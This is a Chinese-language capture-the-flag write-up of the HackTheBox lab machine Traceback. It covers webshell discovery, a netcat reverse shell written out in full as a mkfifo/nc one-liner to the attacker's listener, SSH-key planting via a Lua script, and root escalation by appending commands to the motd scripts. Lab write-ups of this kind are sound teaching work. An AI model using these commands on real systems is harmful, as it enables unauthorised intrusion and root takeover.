目录
简介
这是一个刚发布不久的很简单的靶机,跟着靶机制作者的提示就可以完成。通过网站首页发现网站被入侵,然后枚举webshell文件,枚举webshell的用户名和密码,利用webshell获得交互式shell,接着根据作者的提示获取到sysadmin用户的shell,最后在进程中发现以root用户执行的打印登录欢迎信息的脚本,通过修改脚本获得root权限的shell。
信息收集
使用nmap -A --min-rate 10000 -T5 10.10.10.181扫描目标主机,如图:
目标主机开放了22和80端口,运行着Apache http 2.4.29服务,且目标主机操作系统为Ubuntu。然后访问http服务,如图:
页面显示该网站已被入侵,并且在所有网络都留了后门,照应了主机名称Traceback,看来需要溯源,但现在还不知道Xh4H是否为webshell的密码。在源码中发现提示,如图:
使用dirbuster扫描web目录,查看是否存在webshell,如图:
没有发现webshell,尝试扫描http://10.10.10.181/Xh4H,也未发现存在webshell。使用google搜索注释发现Github有一个开源WebShells项目,如图:
漏洞发现与利用
枚举webshell文件,当访问smevk.php时发现webshell,如图:
使用默认用户名admin和密码admin登录成功,如图:
可以看到内核版本为4.15.0-58,用户名为webadmin,可用的程序有php,perl,nc,wget等,以及网站根目录。然后使用nc反弹shell(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.216 4444 >/tmp/f),但是不能访问tty,如图:
权限提升
在/home目录下发现sysadmin用户,如图:
在webadmin目录下发现.ssh目录,luvit,note.txt和一些.lua文件,且luvit文件的所有者和所属组是sysadmin,其他人具有读写权限,如图:
使用file命令查看luvit文件发现是64位ELF文件,然后执行./luvit --help,如图:
原来是执行lua脚本的程序,查看note.txt,如图:
是sysadmin用来练习lua编程的。查看privesc.lua内容发现是写入sysadmin的ssh认证文件,如图:
从前面可以看出webadmin用户对该文件具有读写权限,因此可以替换ssh公钥内容通过luvit运行privesc.lua脚本将ssh公钥写入sysadmin的ssh认证文件中,进而获取sysadmin的权限。
然而没过多久webadmin目录下的所有文件都被恶意用户删除了,靶机作者也是及时进行了修补。修补之后webadmin目录下没有luvit文件了,但是查看用户sudo权限的时候可以发现luvit所在的位置,如图:
获取sysadmin权限
使用ssh-keygen生成无密码的ssh密钥对,查看生成的id_rsa.pub文件,如图:
然后替换privesc.lua文件中的数据,如图:
在当前shell中修改文件比较麻烦,可以先将/home/webadmin/.ssh/authorized_keys文件替换,如图:
然后使用ssh登录到webadmin用户,在使用nano编辑privesc.lua文件并执行,如图:
报了很多错误,尝试修改文件打开的方式为w,还是会报错,尝试使用os.execute()写入,如图:
然后使用luvit执行privesc.lua脚本,使用ssh连接sysadmin即可,如图:
在目录下发现user.txt。然而该shell用起来不怎么方便,然后使用webadmin的shell查看权限,如图:
发现sudo命令,ping命令等有root权限,尝试ping后门未成功。
获取root权限
然后使用ps -aux查看运行的进程发现数量太多,多次执行发现存在root用户执行的定时复制命令,如图:
由于手工监视进程较麻烦,然后使用Github开源项目pspy进行监视进程,在监视过程中发现ssh登录成功后会以root用户执行/etc/update-motd.d/下的80-esm等文件,如图:
查看cp命令的源目录和目的目录,发现/etc/update-motd.d/下的文件是sysadmin用户可以编辑的,而目录下的文件是shell登录后的欢迎信息,如图:
查看00-header文件内容发现这是一个bash脚本,是ssh登录成功之后的欢迎信息,如图:
查看其他文件也都为bash脚本。因此可以在00-header等文件中写入命令(一定要在定时命令再次执行之前写入),当ssh登录成功的时候就会执行写入的命令,使用echo "id" >>/etc/update-motd.d/00-header将id命令写入文件,然后使用ssh登录目标主机,登录成功后,欢迎信息中成功执行id命令,如图:
将反弹shell的命令写入00-header文件,如图:
然后在本地开启4444端口监听,使用ssh连接目标主机,如图:
在监听的端口成功反弹回root shell,如图:
总结
虽然该靶机很简单,但是仍旧花费了很长时间,主要是该靶机被重置的次数太频繁了,所以需要重复执行多次之前的步骤,到最后干脆把命令先写好然后复制粘贴了。即使这样都不一定能比得上恶意用户的速度,而且用户目录下所有文件都被删了。需要重新找luvit程序的路径。提权过程中使用手工分析太花时间了,还好有pspy的帮助可以加快总体的进度。